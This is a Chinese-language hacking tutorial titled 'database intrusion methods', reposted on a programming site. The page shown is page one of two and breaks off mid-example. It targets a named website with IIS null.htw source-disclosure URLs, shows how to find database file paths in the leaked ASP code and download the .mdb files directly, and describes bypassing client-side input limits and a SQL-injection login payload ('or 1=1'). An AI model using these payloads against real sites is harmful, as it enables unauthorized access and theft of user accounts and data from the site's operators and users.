|
网站首页
|
JAVA文章
|
AppServers
|
Web开发
|
应用开发
|
资源下载
|
想学好编程,外语很重要,最新的编程技术还是在国外 [enadd 2006年12月25日]
设为首页
加入收藏
联系站长
您现在的位置:
编程笔记网
>>
数据库
>>
mysql
>>
数据安全
>> 文章正文
数据库入侵法
【字体:
小
大
】
数据库入侵法
作者:不详 文章来源:网络 点击数: 更新时间:2007-1-21
一般的web server都要使用
数据库
来存储信息,几乎所有的网站都要用
数据库
。这样就存在着两种可能,一种是使用小型
数据库
,如aceess,一般就储存在本地。另一种是使用大型
数据库
,如SQL server,Oracle这时候一般就放在另一台机器上,然后通过ODBC来访问它。
由于页面经常需要查询各种信息,修改用户信息等操作,实质上就是和
数据库
打交道了。这样就给非法用户留下利用的机会了。
1.对本地
数据库
的攻击。
对本地
数据库
的攻击一种方法就是下载
数据库
,然后呢,你就可以打开这个
数据库
得到内部的用户和帐号了,以及其它有用的信息。
下面以“水莲会”为例:
经过扫描,得知www.suilian.net使用的是虚拟主机,使用的是WIndows NT+IIS4.0.扫描器你可以使用twwwscan或者其它,其实功能都大同小异。
在对IIS攻击时如果能够看到
ASP
源代码,那么成功的可能性就很大了。
经过测试,发现此站点存在源代码暴露漏洞。。。
大家可以试试:
http://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/index.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/DetNew.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/detail.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/topic4.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlefrm.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlenew.asp%20&CiRestriction=
none&CiHiliteType=full
看见了什么?
当然源代码泄露的漏洞有很多种,这里就不一一列举,你可以去查漏洞手册。
现在你就可以去查看
ASP
源代码了。
如果你对
ASP
不熟悉,我简单介绍一下。
ASP
是嵌在<%和%>之间。一般使用VBScript或者
java
script书写代码。
看这个例子使用VBScript书写的:
<%
...
set cn1=server.createobject("ADODB.connection")
dbpath=server.mappath("user.mdb")
cn1.open "driver={microsoft
access
driver (*.mdb)};dbq="&dbpath
set rs=server.createobject("ADODB.recordset")
rs.open "select * from yhb",cn1,adopenkeyset
...
%>
这是一个典型的与
数据库
连接的代码。
依次的步骤为:
建立连接对象,
设置
数据库
路径,
打开
数据库
,
设置记录对象,
取记录。
这里我们就可以知道
数据库
的类型,名称和路径,这里是在当前目录下。
还可以知道
数据库
的表名和字段名称。
有经验的程序员一般不会把
数据库
名直接放在代码里,而是在ODBC里设置数据源,以增加安全性。
然后就发现存在
d:\S\suilian\chat\news.mdb
d:\S\suilian\topic22.mdb等
数据库
你只要使用
http://www.suilian.net/chat/news.mdb
http://www.suilian.net/topic22.mdb
就可以把它下载下来...
1。突破script的限制。
例如,某网页上有一文本框,允许你输入用户名称,但是它限制你只能输入4个字符。许多程序都是在客户端限制,然后用msgbox弹出错误提示。如果你攻击时需要突破此限制,只需要在本地做一个一样的主页,只是取消了限制,通常是去掉VBscript或IavaScript的限制程序,就可以成功突破。
如果是
java
script做的,干脆临时把浏览器的脚本支持关掉。如果是<input type=text name=... maxlength=...,则可以自己做个网页,把form的Action直接用绝对URL提交过去。
有经验的程序员常常在程序后台再做一遍检验,如果有错误就用response.write或类似的语句输出错误。
2。对SQL的突破
例如某网页需要你输入用户名称和口令,这样就有两个文本框等待你的输入,现在我们假设有一用户adam,我们不知道他的口令,却想以他的身份登陆。
正常情况下,我们在第一个文本框输入adam,第二个文本框输入1234之类的密码,如果密码正确就可以进入,否则报错。
程序中的查询语句可能是:
sql
="select * from user where username='"&text1.values&"' and passwd= '"&text2.values&"'"
执行时候就是
select * from user where username='adam' and passwd='1234'
好了,
如果我们在text2里输入的不是1234,而是1234'"&"'or 1=1
[1]
[2]
下一页
文章录入:enadd 责任编辑:enadd
上一篇文章:
MySQL数据库的漏洞相当于其它数据库1/4
下一篇文章:
数据库服务器的安全
【
发表评论
】【
加入收藏
】【
告诉好友
】【
打印此文
】【
关闭窗口
】
最新热点
最新推荐
相关文章
MySQL数据的导出和导入工具:…
mysql授课大纲
mysql技巧总结
PPTP + MPPE + RADIUS + MyS…
使用函数递归实现基于php和M…
基于MySQL的高性能数据库应用…
Mysql日期和时间函数
深圳讯天 mysql 服务器错误分…
几分钟让你走进mysql的门
针对 Apache 2.x 的 MySQL 用…
网友评论:
(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
|
设为首页
|
加入收藏
|
联系站长
|
友情链接
|
版权申明
|
管理登录
|
Copyright ©2000 - 2005
Enadd
.com
备案序号:辽ICP备06005595号
站长:
enadd